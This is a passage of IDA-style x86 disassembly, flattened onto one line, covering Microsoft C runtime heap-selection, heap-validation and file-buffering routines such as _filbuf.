edx mov dl, [ecx] mov [ebp+var_C], edx mov eax, [ebp+var_C] cmp eax, [ebp+arg_C] jbe short loc_41F2E7 mov ecx, [ebp+arg_8] mov dl, byte ptr [ebp+arg_C] mov [ecx], dl mov eax, [ebp+var_C] sub eax, [ebp+arg_C] mov ecx, [ebp+var_4] mov edx, [ecx] add edx, eax mov eax, [ebp+var_4] mov [eax], edx mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0F1h mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx jmp loc_41F3DD ; --------------------------------------------------------------------------- loc_41F2E7: ; CODE XREF: sub_41F280+33j mov eax, [ebp+var_C] cmp eax, [ebp+arg_C] jnb loc_41F3DD mov ecx, [ebp+arg_8] add ecx, [ebp+arg_C] mov edx, [ebp+arg_4] add edx, 0F8h cmp ecx, edx ja loc_41F3DD mov eax, [ebp+arg_8] add eax, [ebp+var_C] mov [ebp+var_10], eax mov ecx, [ebp+arg_8] add ecx, [ebp+arg_C] mov [ebp+var_18], ecx jmp short loc_41F327 ; --------------------------------------------------------------------------- loc_41F31E: ; CODE XREF: sub_41F280+BAj mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_41F327: ; CODE XREF: sub_41F280+9Cj mov eax, [ebp+var_10] cmp eax, [ebp+var_18] jnb short loc_41F33C mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx] test edx, edx jnz short loc_41F33C jmp short loc_41F31E ; --------------------------------------------------------------------------- loc_41F33C: ; CODE XREF: sub_41F280+ADj ; sub_41F280+B8j mov eax, [ebp+var_10] cmp eax, [ebp+var_18] jnz loc_41F3DD mov ecx, [ebp+arg_8] mov dl, byte ptr [ebp+arg_C] mov [ecx], dl mov eax, [ebp+arg_4] mov ecx, [ebp+arg_8] cmp ecx, [eax] ja short loc_41F3C2 mov edx, [ebp+arg_4] mov eax, [ebp+var_18] cmp eax, [edx] jbe short loc_41F3C2 mov ecx, [ebp+arg_4] add ecx, 0F8h cmp [ebp+var_18], ecx jnb short loc_41F3AD mov edx, [ebp+arg_4] mov eax, [ebp+var_18] mov [edx], eax mov [ebp+var_8], 0 jmp short loc_41F395 ; --------------------------------------------------------------------------- loc_41F383: ; CODE XREF: sub_41F280+120j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx loc_41F395: ; CODE XREF: sub_41F280+101j mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_41F3A2 jmp short loc_41F383 ; --------------------------------------------------------------------------- loc_41F3A2: ; CODE XREF: sub_41F280+11Ej mov edx, [ebp+arg_4] mov eax, [ebp+var_8] mov [edx+4], eax jmp short loc_41F3C2 ; --------------------------------------------------------------------------- loc_41F3AD: ; CODE XREF: sub_41F280+F0j mov ecx, [ebp+arg_4] add ecx, 8 mov edx, [ebp+arg_4] mov [edx], ecx mov eax, [ebp+arg_4] mov dword ptr [eax+4], 0 loc_41F3C2: ; CODE XREF: sub_41F280+D8j ; sub_41F280+E2j ... mov ecx, [ebp+var_C] sub ecx, [ebp+arg_C] mov edx, [ebp+var_4] mov eax, [edx] add eax, ecx mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_41F3DD: ; CODE XREF: sub_41F280+62j ; sub_41F280+6Dj ... mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_41F280 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F3F0 proc near ; CODE XREF: sub_41C820+89p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 28h mov [ebp+var_8], 0 mov [ebp+var_1C], offset off_445248 loc_41F404: ; CODE XREF: sub_41F3F0+21Ej mov eax, off_447268 cmp eax, [ebp+var_1C] jnz short loc_41F417 mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_41F417: ; CODE XREF: sub_41F3F0+1Cj mov edx, [ebp+var_1C] mov eax, [edx+10h] mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz loc_41F5FF mov [ebp+var_C], 0 mov [ebp+var_28], 0 mov ecx, [ebp+var_1C] mov edx, [ecx+10h] mov [ebp+var_4], edx jmp short loc_41F458 ; --------------------------------------------------------------------------- loc_41F443: ; CODE XREF: sub_41F3F0:loc_41F5FAj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1000h mov [ebp+var_4], ecx loc_41F458: ; CODE XREF: sub_41F3F0+51j cmp [ebp+var_C], 400h jge loc_41F5FF mov edx, [ebp+var_C] mov eax, [ebp+var_1C] cmp dword ptr [eax+edx*8+18h], 0FFFFFFFFh jnz short loc_41F4A0 cmp [ebp+var_28], 0 jnz short loc_41F492 mov ecx, [ebp+var_C] mov edx, [ebp+var_1C] lea eax, [edx+ecx*8+18h] mov ecx, [ebp+var_1C] cmp [ecx+0Ch], eax jz short loc_41F492 or eax, 0FFFFFFFFh jmp loc_41F623 ; --------------------------------------------------------------------------- loc_41F492: ; CODE XREF: sub_41F3F0+86j ; sub_41F3F0+98j mov edx, [ebp+var_28] add edx, 1 mov [ebp+var_28], edx jmp loc_41F5FA ; --------------------------------------------------------------------------- loc_41F4A0: ; CODE XREF: sub_41F3F0+80j mov eax, [ebp+var_4] add eax, 0F8h mov ecx, [ebp+var_4] cmp [ecx], eax jb short loc_41F4B9 mov eax, 0FFFFFFFEh jmp loc_41F623 ; --------------------------------------------------------------------------- loc_41F4B9: ; CODE XREF: sub_41F3F0+BDj mov edx, [ebp+var_4] xor eax, eax mov al, [edx+0F8h] cmp eax, 0FFh jz short loc_41F4D5 mov eax, 0FFFFFFFDh jmp loc_41F623 ; --------------------------------------------------------------------------- loc_41F4D5: ; CODE XREF: sub_41F3F0+D9j mov [ebp+var_10], 0 mov [ebp+var_18], 0 mov [ebp+var_24], 0 mov [ebp+var_20], 0 loc_41F4F1: ; CODE XREF: sub_41F3F0:loc_41F5D2j cmp [ebp+var_10], 0F0h jge loc_41F5D7 mov ecx, [ebp+var_10] mov edx, [ebp+var_4] lea eax, [edx+ecx+8] mov ecx, [ebp+var_4] cmp eax, [ecx] jnz short loc_41F518 mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx loc_41F518: ; CODE XREF: sub_41F3F0+11Dj mov eax, [ebp+var_4] add eax, [ebp+var_10] xor ecx, ecx mov cl, [eax+8] test ecx, ecx jnz short loc_41F547 mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx jmp loc_41F5D2 ; --------------------------------------------------------------------------- loc_41F547: ; CODE XREF: sub_41F3F0+135j mov edx, [ebp+var_C] mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] cmp ecx, [eax+edx*8+1Ch] jl short loc_41F560 mov eax, 0FFFFFFFCh jmp loc_41F623 ; --------------------------------------------------------------------------- loc_41F560: ; CODE XREF: sub_41F3F0+164j cmp [ebp+var_18], 1 jnz short loc_41F584 mov edx, [ebp+var_4] mov eax, [ebp+var_20] cmp eax, [edx+4] jge short loc_41F57B mov eax, 0FFFFFFFBh jmp loc_41F623 ; --------------------------------------------------------------------------- loc_41F57B: ; CODE XREF: sub_41F3F0+17Fj mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx loc_41F584: ; CODE XREF: sub_41F3F0+174j mov [ebp+var_20], 0 mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_14], edx jmp short loc_41F59F ; --------------------------------------------------------------------------- loc_41F596: ; CODE XREF: sub_41F3F0:loc_41F5CAj mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax loc_41F59F: ; CODE XREF: sub_41F3F0+1A4j mov ecx, [ebp+var_4] add ecx, [ebp+var_10] xor edx, edx mov dl, [ecx+8] mov eax, [ebp+var_10] add eax, edx cmp [ebp+var_14], eax jge short loc_41F5CC mov ecx, [ebp+var_4] add ecx, [ebp+var_14] xor edx, edx mov dl, [ecx+8] test edx, edx jz short loc_41F5CA mov eax, 0FFFFFFFAh jmp short loc_41F623 ; --------------------------------------------------------------------------- loc_41F5CA: ; CODE XREF: sub_41F3F0+1D1j jmp short loc_41F596 ; --------------------------------------------------------------------------- loc_41F5CC: ; CODE XREF: sub_41F3F0+1C2j mov eax, [ebp+var_14] mov [ebp+var_10], eax loc_41F5D2: ; CODE XREF: sub_41F3F0+152j jmp loc_41F4F1 ; --------------------------------------------------------------------------- loc_41F5D7: ; CODE XREF: sub_41F3F0+108j mov ecx, [ebp+var_C] mov edx, [ebp+var_1C] mov eax, [ebp+var_24] cmp eax, [edx+ecx*8+18h] jz short loc_41F5ED mov eax, 0FFFFFFF9h jmp short loc_41F623 ; --------------------------------------------------------------------------- loc_41F5ED: ; CODE XREF: sub_41F3F0+1F4j cmp [ebp+var_18], 0 jnz short loc_41F5FA mov eax, 0FFFFFFF8h jmp short loc_41F623 ; --------------------------------------------------------------------------- loc_41F5FA: ; CODE XREF: sub_41F3F0+ABj ; sub_41F3F0+201j jmp loc_41F443 ; --------------------------------------------------------------------------- loc_41F5FF: ; CODE XREF: sub_41F3F0+34j ; sub_41F3F0+6Fj mov ecx, [ebp+var_1C] mov edx, [ecx] mov [ebp+var_1C], edx cmp [ebp+var_1C], offset off_445248 jnz loc_41F404 cmp [ebp+var_8], 0 jnz short loc_41F621 mov eax, 0FFFFFFF7h jmp short loc_41F623 ; --------------------------------------------------------------------------- loc_41F621: ; CODE XREF: sub_41F3F0+228j xor eax, eax loc_41F623: ; CODE XREF: sub_41F3F0+9Dj ; sub_41F3F0+C4j ... mov esp, ebp pop ebp retn sub_41F3F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F630 proc near ; CODE XREF: .data:0041C9F2p ; sub_41F690+1FBp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov dword ptr [eax], 0 push 0 call dword_4E0360 ; GetModuleHandleA mov [ebp+var_8], eax mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] cmp edx, 5A4Dh jnz short loc_41F663 mov eax, [ebp+var_8] cmp dword ptr [eax+3Ch], 0 jnz short loc_41F665 loc_41F663: ; CODE XREF: sub_41F630+28j jmp short loc_41F688 ; --------------------------------------------------------------------------- loc_41F665: ; CODE XREF: sub_41F630+31j mov ecx, [ebp+var_8] mov edx, [ebp+var_8] add edx, [ecx+3Ch] mov [ebp+var_4], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dl, [ecx+1Ah] mov [eax], dl mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dl, [ecx+1Bh] mov [eax+1], dl loc_41F688: ; CODE XREF: sub_41F630:loc_41F663j mov esp, ebp pop ebp retn sub_41F630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F690 proc near ; CODE XREF: sub_41F8C0:loc_41F8ECp var_1238 = dword ptr -1238h var_1234 = dword ptr -1234h var_1230 = dword ptr -1230h var_122C = byte ptr -122Ch var_1128 = byte ptr -1128h var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 1238h call sub_4181D0 mov [ebp+var_1238], 0 mov [ebp+var_98], 94h lea eax, [ebp+var_98] push eax call dword_4E039C ; GetVersionExA test eax, eax jz short loc_41F6DE cmp [ebp+var_88], 2 jnz short loc_41F6DE cmp [ebp+var_94], 5 jb short loc_41F6DE mov eax, 1 jmp loc_41F8B0 ; --------------------------------------------------------------------------- loc_41F6DE: ; CODE XREF: sub_41F690+30j ; sub_41F690+39j ... push 1090h lea ecx, [ebp+var_1128] push ecx push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call dword_4E048C ; GetEnvironmentVariableA test eax, eax jz loc_41F884 lea edx, [ebp+var_1128] mov [ebp+var_4], edx jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F708: ; CODE XREF: sub_41F690:loc_41F73Ej mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41F711: ; CODE XREF: sub_41F690+76j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41F740 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 61h jl short loc_41F73E mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 7Ah jg short loc_41F73E mov ecx, [ebp+var_4] mov dl, [ecx] add dl, 0E0h mov eax, [ebp+var_4] mov [eax], dl loc_41F73E: ; CODE XREF: sub_41F690+94j ; sub_41F690+9Fj jmp short loc_41F708 ; --------------------------------------------------------------------------- loc_41F740: ; CODE XREF: sub_41F690+89j push 16h lea ecx, [ebp+var_1128] push ecx push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_418830 add esp, 0Ch test eax, eax jnz short loc_41F768 lea edx, [ebp+var_1128] mov [ebp+var_1238], edx jmp short loc_41F7DB ; --------------------------------------------------------------------------- loc_41F768: ; CODE XREF: sub_41F690+C8j push 104h lea eax, [ebp+var_122C] push eax push 0 call dword_4E0334 ; GetModuleFileNameA lea ecx, [ebp+var_122C] mov [ebp+var_4], ecx jmp short loc_41F790 ; --------------------------------------------------------------------------- loc_41F787: ; CODE XREF: sub_41F690:loc_41F7BDj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_41F790: ; CODE XREF: sub_41F690+F5j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_41F7BF mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 61h jl short loc_41F7BD mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 7Ah jg short loc_41F7BD mov eax, [ebp+var_4] mov cl, [eax] add cl, 0E0h mov edx, [ebp+var_4] mov [edx], cl loc_41F7BD: ; CODE XREF: sub_41F690+113j ; sub_41F690+11Ej jmp short loc_41F787 ; --------------------------------------------------------------------------- loc_41F7BF: ; CODE XREF: sub_41F690+108j lea eax, [ebp+var_122C] push eax lea ecx, [ebp+var_1128] push ecx call sub_417E00 add esp, 8 mov [ebp+var_1238], eax loc_41F7DB: ; CODE XREF: sub_41F690+D6j cmp [ebp+var_1238], 0 jz loc_41F884 push 2Ch mov edx, [ebp+var_1238] push edx call sub_418970 add esp, 8 mov [ebp+var_1238], eax cmp [ebp+var_1238], 0 jz short loc_41F884 mov eax, [ebp+var_1238] add eax, 1 mov [ebp+var_1238], eax mov ecx, [ebp+var_1238] mov [ebp+var_4], ecx loc_41F820: ; CODE XREF: sub_41F690:loc_41F846j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_41F848 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_41F83D mov eax, [ebp+var_4] mov byte ptr [eax], 0 jmp short loc_41F846 ; --------------------------------------------------------------------------- loc_41F83D: ; CODE XREF: sub_41F690+1A3j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_41F846: ; CODE XREF: sub_41F690+1ABj jmp short loc_41F820 ; --------------------------------------------------------------------------- loc_41F848: ; CODE XREF: sub_41F690+198j push 0Ah push 0 mov edx, [ebp+var_1238] push edx call sub_418200 add esp, 0Ch mov [ebp+var_1230], eax cmp [ebp+var_1230], 2 jz short loc_41F87C cmp [ebp+var_1230], 3 jz short loc_41F87C cmp [ebp+var_1230], 1 jnz short loc_41F884 loc_41F87C: ; CODE XREF: sub_41F690+1D8j ; sub_41F690+1E1j mov eax, [ebp+var_1230] jmp short loc_41F8B0 ; --------------------------------------------------------------------------- loc_41F884: ; CODE XREF: sub_41F690+67j ; sub_41F690+152j ... lea eax, [ebp+var_1234] push eax call sub_41F630 add esp, 4 mov ecx, [ebp+var_1234] and ecx, 0FFh cmp ecx, 6 jl short loc_41F8AB mov eax, 3 jmp short loc_41F8B0 ; --------------------------------------------------------------------------- loc_41F8AB: ; CODE XREF: sub_41F690+212j mov eax, 2 loc_41F8B0: ; CODE XREF: sub_41F690+49j ; sub_41F690+1F2j ... mov esp, ebp pop ebp retn sub_41F690 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F8C0 proc near ; CODE XREF: sub_41AB00+7Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1000h xor eax, eax cmp [ebp+arg_0], 0 setz al push eax call dword_4E0494 ; HeapCreate mov dword_4DE648, eax cmp dword_4DE648, 0 jnz short loc_41F8EC xor eax, eax jmp short loc_41F94B ; --------------------------------------------------------------------------- loc_41F8EC: ; CODE XREF: sub_41F8C0+26j call sub_41F690 mov dword_4DE64C, eax cmp dword_4DE64C, 3 jnz short loc_41F923 push 3F8h call sub_41CA80 add esp, 4 test eax, eax jnz short loc_41F921 mov ecx, dword_4DE648 push ecx call dword_4E0490 ; HeapDestroy xor eax, eax jmp short loc_41F94B ; --------------------------------------------------------------------------- loc_41F921: ; CODE XREF: sub_41F8C0+4Ej jmp short loc_41F946 ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F8C0+3Dj cmp dword_4DE64C, 2 jnz short loc_41F946 call sub_41E750 test eax, eax jnz short loc_41F946 mov edx, dword_4DE648 push edx call dword_4E0490 ; HeapDestroy xor eax, eax jmp short loc_41F94B ; --------------------------------------------------------------------------- loc_41F946: ; CODE XREF: sub_41F8C0:loc_41F921j ; sub_41F8C0+6Aj ... mov eax, 1 loc_41F94B: ; CODE XREF: sub_41F8C0+2Aj ; sub_41F8C0+5Fj ... pop ebp retn sub_41F8C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0Ch cmp dword_4DE64C, 3 jnz loc_41F9EA mov eax, dword_4DE668 mov [ebp-8], eax mov dword ptr [ebp-4], 0 jmp short loc_41F97D ; --------------------------------------------------------------------------- loc_41F974: ; CODE XREF: .data:0041F9D1j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_41F97D: ; CODE XREF: .data:0041F972j mov edx, [ebp-4] cmp edx, dword_4DE664 jge short loc_41F9D3 push 4000h push 100000h mov eax, [ebp-8] mov ecx, [eax+0Ch] push ecx call dword_4E0484 ; VirtualFree push 8000h push 0 mov edx, [ebp-8] mov eax, [edx+0Ch] push eax call dword_4E0484 ; VirtualFree mov ecx, [ebp-8] mov edx, [ecx+10h] push edx push 0 mov eax, dword_4DE648 push eax call dword_4E0480 ; RtlFreeHeap mov ecx, [ebp-8] add ecx, 14h mov [ebp-8], ecx jmp short loc_41F974 ; --------------------------------------------------------------------------- loc_41F9D3: ; CODE XREF: .data:0041F986j mov edx, dword_4DE668 push edx push 0 mov eax, dword_4DE648 push eax call dword_4E0480 ; RtlFreeHeap jmp short loc_41FA28 ; --------------------------------------------------------------------------- loc_41F9EA: ; CODE XREF: .data:0041F95Dj cmp dword_4DE64C, 2 jnz short loc_41FA28 mov dword ptr [ebp-0Ch], offset off_445248 loc_41F9FA: ; CODE XREF: .data:0041FA26j mov ecx, [ebp-0Ch] cmp dword ptr [ecx+10h], 0 jz short loc_41FA17 push 8000h push 0 mov edx, [ebp-0Ch] mov eax, [edx+10h] push eax call dword_4E0484 ; VirtualFree loc_41FA17: ; CODE XREF: .data:0041FA01j mov ecx, [ebp-0Ch] mov edx, [ecx] mov [ebp-0Ch], edx cmp dword ptr [ebp-0Ch], offset off_445248 jnz short loc_41F9FA loc_41FA28: ; CODE XREF: .data:0041F9E8j ; .data:0041F9F1j mov eax, dword_4DE648 push eax call dword_4E0490 ; HeapDestroy mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FA40 proc near ; CODE XREF: sub_417160+66p ; sub_417860+19p ... var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] add eax, 1 cmp eax, 100h ja short loc_41FA6A mov ecx, [ebp+arg_0] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, [ebp+arg_4] jmp loc_41FAF3 ; --------------------------------------------------------------------------- loc_41FA6A: ; CODE XREF: sub_41FA40+11j mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh and ecx, 0FFh mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_41FAB3 mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh mov [ebp+var_C], cl mov dl, byte ptr [ebp+arg_0] mov [ebp+var_B], dl mov [ebp+var_A], 0 mov [ebp+var_8], 2 jmp short loc_41FAC4 ; --------------------------------------------------------------------------- loc_41FAB3: ; CODE XREF: sub_41FA40+4Fj mov al, byte ptr [ebp+arg_0] mov [ebp+var_C], al mov [ebp+var_B], 0 mov [ebp+var_8], 1 loc_41FAC4: ; CODE XREF: sub_41FA40+71j push 1 push 0 push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] push edx lea eax, [ebp+var_C] push eax push 1 call sub_429B60 add esp, 1Ch test eax, eax jnz short loc_41FAE8 xor eax, eax jmp short loc_41FAF3 ; --------------------------------------------------------------------------- loc_41FAE8: ; CODE XREF: sub_41FA40+A2j mov eax, [ebp+var_4] and eax, 0FFFFh and eax, [ebp+arg_4] loc_41FAF3: ; CODE XREF: sub_41FA40+25j ; sub_41FA40+A6j mov esp, ebp pop ebp retn sub_41FA40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB00 proc near ; CODE XREF: sub_417410+182p ; sub_4186C0+D7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_41FB09: ; CODE XREF: sub_41FB00+31j cmp [ebp+arg_0], 0 jnz short loc_41FB2D push offset dword_4344AC push 0 push 69h push offset a_filbuf_c ; "_filbuf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_41FB2D int 3 ; Trap to Debugger loc_41FB2D: ; CODE XREF: sub_41FB00+Dj ; sub_41FB00+2Aj xor eax, eax test eax, eax jnz short loc_41FB09 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41FB55 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_41FB5D loc_41FB55: ; CODE XREF: sub_41FB00+46j or eax, 0FFFFFFFFh jmp loc_41FCDD ; --------------------------------------------------------------------------- loc_41FB5D: ; CODE XREF: sub_41FB00+53j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_41FB80 mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_4] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_41FCDD ; --------------------------------------------------------------------------- loc_41FB80: ; CODE XREF: sub_41FB00+68j mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jnz short loc_41FBAB mov ecx, [ebp+var_4] push ecx call sub_429D20 add esp, 4 jmp short loc_41FBB6 ; --------------------------------------------------------------------------- loc_41FBAB: ; CODE XREF: sub_41FB00+9Bj mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx loc_41FBB6: ; CODE XREF: sub_41FB00+A9j mov edx, [ebp+var_4] mov eax, [edx+18h] push eax mov ecx, [ebp+var_4] mov edx, [ecx+8] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_41FCF0 add esp, 0Ch mov edx, [ebp+var_4] mov [edx+4], eax mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_41FBEB mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0FFFFFFFFh jnz short loc_41FC1B loc_41FBEB: ; CODE XREF: sub_41FB00+E0j mov edx, [ebp+var_4] mov eax, [edx+4] neg eax sbb eax, eax and eax, 10h add eax, 10h mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, eax mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 or eax, 0FFFFFFFFh jmp loc_41FCDD ; --------------------------------------------------------------------------- loc_41FC1B: ; CODE XREF: sub_41FB00+E9j mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 82h test eax, eax jnz short loc_41FC81 mov ecx, [ebp+var_4] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz short loc_41FC56 mov edx, [ebp+var_4] mov eax, [edx+10h] sar eax, 5 mov ecx, [ebp+var_4] mov edx, [ecx+10h] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[eax*4] add eax, edx mov [ebp+var_8], eax jmp short loc_41FC5D ; --------------------------------------------------------------------------- loc_41FC56: ; CODE XREF: sub_41FB00+131j mov [ebp+var_8], offset dword_447A30 loc_41FC5D: ; CODE XREF: sub_41FB00+154j mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx+4] and edx, 82h cmp edx, 82h jnz short loc_41FC81 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ch, 20h mov edx, [ebp+var_4] mov [edx+0Ch], ecx loc_41FC81: ; CODE XREF: sub_41FB00+128j ; sub_41FB00+170j mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 200h jnz short loc_41FCB4 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 8 test edx, edx jz short loc_41FCB4 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 400h test ecx, ecx jnz short loc_41FCB4 mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h loc_41FCB4: ; CODE XREF: sub_41FB00+18Bj ; sub_41FB00+198j ... mov eax, [ebp+var_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+var_4] mov [edx+4], ecx mov eax, [ebp+var_4] mov ecx, [eax] movsx eax, byte ptr [ecx] and eax, 0FFh mov edx, [ebp+var_4] mov ecx, [edx] add ecx, 1 mov edx, [ebp+var_4] mov [edx], ecx loc_41FCDD: ; CODE XREF: sub_41FB00+58j ; sub_41FB00+7Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41FB00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FCF0 proc near ; CODE XREF: sub_417410+118p ; sub_41FB00+CBp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DE420 jnb short loc_41FD21 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_41FD3C loc_41FD21: ; CODE XREF: sub_41FCF0+Dj call sub_4224D0 mov dword ptr [eax], 9 call sub_4224E0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_41FD6E ; --------------------------------------------------------------------------- loc_41FD3C: ; CODE XREF: sub_41FCF0+2Fj mov edx, [ebp+arg_0] push edx call sub_4299C0 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41FD80 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_429A50 add esp, 4 mov eax, [ebp+var_4] loc_41FD6E: ; CODE XREF: sub_41FCF0+4Aj mov esp, ebp pop ebp retn sub_41FCF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD80 proc near ; CODE XREF: sub_41FCF0+64p ; sub_429E30+42Fp var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_18], 0 mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+arg_8], 0 jz short loc_41FDBB mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 2 test ecx, ecx jz short loc_41FDC2 loc_41FDBB: ; CODE XREF: sub_41FD80+17j xor eax, eax jmp loc_4201C1 ; --------------------------------------------------------------------------- loc_41FDC2: ; CODE 